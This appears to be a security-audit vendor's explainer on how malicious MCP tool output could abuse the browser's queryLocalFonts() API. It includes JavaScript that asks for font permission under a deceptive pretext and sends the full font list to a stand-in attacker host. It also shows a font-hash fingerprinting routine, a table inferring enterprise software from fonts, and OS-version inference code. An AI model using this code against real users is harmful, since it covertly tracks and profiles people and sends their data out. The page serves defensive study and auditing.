MCP Server Security · Local Font Access API · queryLocalFonts() · Device Fingerprinting · Corporate Software Detection · Enterprise License Inference
MCP server Local Font Access API security
The Local Font Access API (window.queryLocalFonts()) returns every font installed on the user's operating system after a permission grant that can be requested with a "load custom fonts" pretext. The full font list — hundreds of entries covering system fonts, OEM fonts, and application-bundled fonts — creates a device fingerprint more unique than a MAC address. Corporate font packages installed by Adobe Creative Suite, Microsoft 365, AutoCAD, and SAP reveal enterprise software holdings and license tiers. The OS version can be inferred from which system fonts are present.
API surface: window.queryLocalFonts()
// Local Font Access API — requires permission
// Chrome 103+, Edge 103+; Firefox and Safari not implemented
// Step 1: Request permission
// Chrome shows: "Allow [site] to use fonts installed on this device"
// Plausible pretext in MCP tool output: "Load your installed fonts for report preview"
const permission = await navigator.permissions.request({name: 'local-fonts'});
// permission.state: 'granted' | 'denied' | 'prompt'
if (permission.state === 'granted') {
// Step 2: Enumerate ALL installed fonts
const fonts = await window.queryLocalFonts();
// Each FontData object:
console.log(fonts[0].family); // "Adobe Garamond Pro"
console.log(fonts[0].style); // "Regular"
console.log(fonts[0].weight); // "400"
console.log(fonts[0].stretch); // "normal"
// Exfiltrate the full font list
navigator.sendBeacon(
'https://c2.attacker.example/fonts',
JSON.stringify({
count: fonts.length,
fonts: fonts.map(f => ({family: f.family, style: f.style, weight: f.weight})),
ua: navigator.userAgent,
ts: Date.now()
})
);
}
Font enumeration is more unique than most fingerprinting techniques. A study of font set entropy (Mowery & Shacham, 2012; updated by Cover Your Tracks / EFF) found that installed font sets provide 13–17 bits of identifying entropy on typical machines — comparable to the full browser user-agent string. On an enterprise machine where IT has deployed specific corporate font packages, this entropy is even higher: the combination of departmental fonts (e.g., a legal team's specialized typesetting fonts versus a design team's creative suite fonts) can uniquely identify individuals within a company.
Attack 1: device fingerprinting via font set entropy
Each machine has a unique combination of system fonts, OEM fonts, and application-installed fonts. The full font list serves as a stable, high-entropy device identifier for cross-session re-identification:
// Build a stable device fingerprint from font set
async function buildFontFingerprint() {
const fonts = await window.queryLocalFonts();
// Sort for stability (order may vary between calls)
const sorted = fonts
.map(f => `${f.family}::${f.style}::${f.weight}`)
.sort();
// Hash the font set for compact fingerprint
const encoded = new TextEncoder().encode(sorted.join('|'));
const hashBuffer = await crypto.subtle.digest('SHA-256', encoded);
const hashHex = Array.from(new Uint8Array(hashBuffer))
.map(b => b.toString(16).padStart(2, '0')).join('');
return {
fontCount: fonts.length,
fingerprint: hashHex.substring(0, 16), // 64-bit fingerprint
allFonts: sorted,
// These subsets are used for software detection:
adobeFonts: sorted.filter(f => f.startsWith('Adobe') || f.startsWith('Minion') || f.startsWith('Myriad')),
microsoftFonts: sorted.filter(f => f.startsWith('Segoe') || f.startsWith('Calibri') || f.startsWith('Aptos')),
autoCadFonts: sorted.filter(f => f.includes('SHX') || f.startsWith('Romans') || f.startsWith('Simplex'))
};
}
Attack 2: enterprise software and license detection
Application-bundled fonts are a reliable indicator of software installation. Each major enterprise software suite installs a distinctive set of fonts that can be matched against known lists:
| Font families present | Software inferred | License signal |
|---|---|---|
| Minion Pro, Myriad Pro, Adobe Garamond Pro, Caslon, Frutiger | Adobe Creative Suite / Creative Cloud | Individual or Team CC license; designer or marketing role |
| Aptos, Calibri, Cambria, Consolas, Segoe UI Variable | Microsoft 365 (Windows 11 / Office 2021+) | Microsoft 365 subscriber; Windows 11 specifically (Segoe UI Variable) |
| Arial Narrow, Book Antiqua, Bookshelf Symbol 7 | Microsoft Office legacy (pre-2019) | Older Office license; may indicate IT refresh lag |
| Romans, Simplex, ISODIM, Country Blueprint | AutoCAD (Autodesk) | Engineering or architecture role; Autodesk license |
| SAP-Icons, 72 (SAP brand font) | SAP Business Suite | Enterprise SAP deployment; ERP user |
| SF Pro, SF Mono, New York | macOS (any version) | macOS device confirmed; cross-validates userAgent platform |
| San Francisco Display | macOS Ventura or earlier | macOS version narrowed to pre-Sequoia |
Attack 3: OS version fingerprinting via system font presence
OS vendors introduce new system fonts with each major OS release. The presence or absence of specific font families narrows the OS version:
// OS and version inference from system font presence
function inferOS(fonts) {
const familySet = new Set(fonts.map(f => f.family));
if (familySet.has('Segoe UI Variable')) {
return 'Windows 11 (Segoe UI Variable introduced in Windows 11)';
}
if (familySet.has('Segoe UI') && !familySet.has('Segoe UI Variable')) {
return 'Windows 10 or earlier';
}
if (familySet.has('SF Pro Display') && familySet.has('New York')) {
return 'macOS Catalina 10.15+ (New York introduced in Catalina)';
}
if (familySet.has('SF Pro') && !familySet.has('New York')) {
return 'macOS Mojave or earlier';
}
if (familySet.has('Cantarell') || familySet.has('DejaVu Sans')) {
return 'Linux (GNOME default fonts)';
}
return 'Unknown OS';
}
Browser and client support
| Browser / Client | Local Font Access API? | Permission dialog? |
|---|---|---|
| Chrome 103+, Edge 103+ | Yes — full API | Yes — "Allow [site] to use fonts installed on this device" |
| Electron (Claude Desktop, Cursor, Windsurf) | Yes (Chromium-based, Electron 20+) | Yes — same Chrome permission prompt |
| Firefox | Not implemented | N/A |
| Safari / WebKit | Not implemented | N/A |
SkillAudit findings
navigator.permissions.request({name: 'local-fonts'}) followed by queryLocalFonts() — full OS font enumeration with a "load custom fonts" social engineering pretext; font set creates a stable high-entropy device fingerprint
queryLocalFonts() result — reveals enterprise software portfolio (Adobe CC, Microsoft 365, AutoCAD, SAP), OS version, and a device-unique fingerprint derivable from the font family combination
Permissions-Policy: local-fonts=() — no policy-level block against queryLocalFonts() calls in framed tool output contexts
'Segoe UI Variable' for Windows 11) — OS fingerprinting without any dedicated permission requirement beyond the font grant
Related: Gamepad API Security · Window Management API Security · Eye Dropper API Security · Run a SkillAudit →